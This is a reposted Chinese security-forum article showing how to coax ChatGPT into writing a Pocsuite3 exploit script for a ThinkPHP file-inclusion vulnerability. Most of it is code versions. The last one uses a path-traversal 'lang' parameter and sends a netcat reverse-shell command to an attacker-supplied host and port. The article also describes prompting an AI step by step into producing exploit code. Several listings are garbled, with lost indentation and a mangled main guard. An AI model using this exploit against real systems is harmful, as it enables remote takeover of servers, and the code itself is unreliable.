安全矩阵

 找回密码
 立即注册
搜索
查看: 388|回复: 0

【超详细】ChatGPT & Pocsuite3梦幻联动快速编写EXP(建议收藏)

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-2-16 13:22:45 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-2-16 13:22 编辑


【超详细】ChatGPT & Pocsuite3梦幻联动快速编写EXP(建议收藏)
原文链接:【超详细】ChatGPT & Pocsuite3梦幻联动快速编写EXP(建议收藏)
aka_zz [url=]渗透Xiao白帽[/url] 2023-02-15 10:35 发表于北京


前言


这一模型可以与人类进行谈话般的交互,可以回答追问,连续性的问题,承认其回答中的错误,指出人类提问时的不正确前提,拒绝回答不适当的问题。
简单来说,ChatGPT是一个AI,能够分析我们题出的问题,并且对此做出解答。可以通过ChatGPT来分析代码,或者让其根据我们的需求写出相应的代码,如下。
编辑
所以,我就在想,能不能让它给我们编写poc,简化平时的一个工作,于是便有了这篇文章。


分析

我发现,ChatGPT缓存了当此询问的结果,当我们前后两个问题相似的时候,ChatGPT会去分析两个问题的一个相似度,如果相似度过高,则会返回上一次分析的结果。而且对于有歧义的语句,其处理结果误差比较大,所以我们可以一开始给出一个简单的语句,然后通过逐步的训练,让其结果更加符合我们的预期。


过程


原理
在一开始,最好向CG(ChatGPT的简称)提供漏洞的相关原理,但是由我们直接去叙述,其准确性比较低,因为语言存在歧义,那么,我们可以通过引导的方式,去让CG了解和漏洞有关的信息,比如ThinkPHP最新的漏洞原理是因为多语言模式的开启导致的文件包含,如果我们直接询问。
编辑
我们会发现,CG无法为我们解析出来,因为其实在这里lang_switch_on是config.php返回数组中的一个键名,准确来说并不是参数,所以这里解析才会出错。我们知道config.php会返回一个数组,但是CG因为并不会去解析config.php,所以在它并不觉得config.php会返回什么。
编辑

但是我们换一种方法,我们询问,
编辑

我们会发现,CG给出了我们一个流程,那么在这里,CG就记住了这一答案,当我们在漏洞原理中加入了这句话,那么CG就能正确解析。
分段
当我们直接通过一大段话让其给我们编写程序的时候,你会发现会有很多错误,如下。
编辑
根据我上面的发现,我突然想 ,我们可以先给出一个简单的需求,在后面不断基于之前给的答案,增加其准确度就行。如下。
首先,询问是否知道pocsuite,并要求给出一个例子。
编辑
  1. import pocsuite3
  2. from pocsuite3.api import requests as req
  3. from pocsuite3.api import register_poc
  4. from pocsuite3.api import Output, POCBase


  5. class TestPOC(POCBase):
  6.     vulID = '12345'
  7.     version = '1.0'
  8.     author = 'test'
  9.     vulDate = '2022-01-01'
  10.     createDate = '2022-01-01'
  11.     updateDate = '2022-01-01'
  12.     references = ['https://example.com/vul/12345']
  13.     name = 'Test POC'
  14.     appPowerLink = 'https://example.com'
  15.     appName = 'Test'
  16.     appVersion = '1.0'
  17.     vulType = 'Test Vul'
  18.     desc = '''Test POC Description'''
  19.     samples = ['']

  20.     def _attack(self):
  21.         # your code here
  22.         pass

  23.     def _verify(self):
  24.         # your code here
  25.         result = {}
  26.         return self.parse_output(result)

  27.     def parse_output(self, result):
  28.         output = Output(self)
  29.         # your code here
  30.         return output


  31. def main():
  32.     register_poc(TestPOC)


  33. if __name__ == '__main__':
  34.     main()
复制代码

接着,添加对漏洞的描述,要求其改进。
  1. import pocsuite3
  2. from pocsuite3.api import requests as req
  3. from pocsuite3.api import register_poc
  4. from pocsuite3.api import Output, POCBase


  5. class ThinkPHP5_File_Inclusion(POCBase):
  6.     vulID = '12345'
  7.     version = '1.0'
  8.     author = 'test'
  9.     vulDate = '2022-01-01'
  10.     createDate = '2022-01-01'
  11.     updateDate = '2022-01-01'
  12.     references = ['https://example.com/vul/12345']
  13.     name = 'ThinkPHP5 File Inclusion Vulnerability'
  14.     appPowerLink = 'https://thinkphp.cn'
  15.     appName = 'ThinkPHP'
  16.     appVersion = '5.0'
  17.     vulType = 'File Inclusion'
  18.     desc = '''
  19.     This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
  20.     To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
  21.     and a malicious lang parameter must be passed in the URL.
  22.     '''
  23.     samples = ['']

  24.     def _attack(self):
  25.         # your code here
  26.         pass

  27.     def _verify(self):
  28.         result = {}
  29.         # your code here
  30.         return self.parse_output(result)

  31.     def parse_output(self, result):
  32.         output = Output(self)
复制代码
这时候,我们再添加一些信息。
编辑
  1. import pocsuite3
  2. from pocsuite3.api import requests as req
  3. from pocsuite3.api import register_poc
  4. from pocsuite3.api import Output, POCBase

  5. class ThinkPHP5_File_Inclusion(POCBase):
  6. vulID = '12345'
  7. version = '1.0'
  8. author = 'test'
  9. vulDate = '2022-12-09'
  10. createDate = '2022-12-09'
  11. updateDate = '2022-12-09'
  12. references = ['https://tttang.com/archive/1865/']
  13. name = 'ThinkPHP5 File Inclusion Vulnerability'
  14. appPowerLink = 'https://thinkphp.cn'
  15. appName = 'ThinkPHP'
  16. appVersion = '5.0'
  17. vulType = 'File Inclusion'
  18. desc = '''
  19. This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
  20. To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
  21. and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
  22. phearcmd.php file and execute arbitrary commands.
  23. '''
  24. samples = ['']

  25. def _attack(self):
  26.     # your code here
  27.     pass

  28. def _verify(self):
  29.     result = {}
  30.     # your code here
  31.     # send a request with a malicious lang parameter
  32.     url = self.url + '?lang=../phearcmd.php'
  33.     r = req.get(url)

  34.     # check if the phearcmd.php file was included
  35.     if 'PhearCommand execution' in r.text:
  36.         result['VerifyInfo'] = {}
  37.         result['VerifyInfo']['URL'] = url

  38.     return self.parse_output(result)

  39. def parse_output(self, result):
  40.     output = Output(self)
  41.     if result:
  42.         output.success(result)
  43.     else:
  44.         output.fail('The vulnerability could not be verified')
  45.     return output

  46. def main():
  47. register_poc(ThinkPHP5_File_Inclusion)

  48. if name == 'main':
  49. main()
复制代码


最后,我们再补充一点。
编辑
  1. import pocsuite3
  2. from pocsuite3.api import requests as req
  3. from pocsuite3.api import register_poc
  4. from pocsuite3.api import Output, POCBase

  5. class ThinkPHP5_File_Inclusion(POCBase):
  6. vulID = '12345'
  7. version = '1.0'
  8. author = 'test'
  9. vulDate = '2022-12-09'
  10. createDate = '2022-12-09'
  11. updateDate = '2022-12-09'
  12. references = ['https://tttang.com/archive/1865/']
  13. name = 'ThinkPHP5 File Inclusion Vulnerability'
  14. appPowerLink = 'https://thinkphp.cn'
  15. appName = 'ThinkPHP'
  16. appVersion = '5.0'
  17. vulType = 'File Inclusion'
  18. desc = '''
  19. This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
  20. To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
  21. and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
  22. phearcmd.php file and execute arbitrary commands, including a reverse shell.
  23. '''
  24. samples = ['']

  25. def _attack(self):
  26.     # your code here
  27.     # send a request with a malicious lang parameter to include phearcmd.php
  28.     url = self.url + '?lang=../phearcmd.php'
  29.     r = req.get(url)

  30.     # check if the phearcmd.php file was included
  31.     if 'PhearCommand execution' in r.text:
  32.         # send a request to execute a reverse shell command
  33.         command = 'php -r "system(\'nc -e /bin/bash {0} {1}\');"'.format(self.options.get('lhost'), self.options.get('lport'))
  34.         url = self.url + '?phearcmd=' + command
  35.         req.get(url)

  36. def _verify(self):
  37.     result = {}
  38.     # your code here
  39.     return self.parse_output(result)

  40. def parse_output(self, result):
  41.     output = Output(self)
  42.     # no output is necessary for this POC
  43.     return output

  44. def main():
  45. register_poc(ThinkPHP5_File_Inclusion)

  46. if name == 'main':
  47. main()
复制代码


到这里,基本上就可以拿来改改就能直接使用了。


结论


通过以上的利用和分析,我们能感受到CG的一个强大,当CG对于我们的一个问题的解决结果误差较大的时候,我们可以逐步进行求解,让其引擎对结果进行不断的修正,这样最终的结果误差较小。以上只是一个简单的案例,还有更多的可能等待挖掘。
本文作者:aka_zz, 转载请注明来自FreeBuf.COM
仅用于学习交流,不得用于非法用途
如侵权请私聊公众号删文
[url=]阅读原文[/url]



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 07:29 , Processed in 0.018863 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表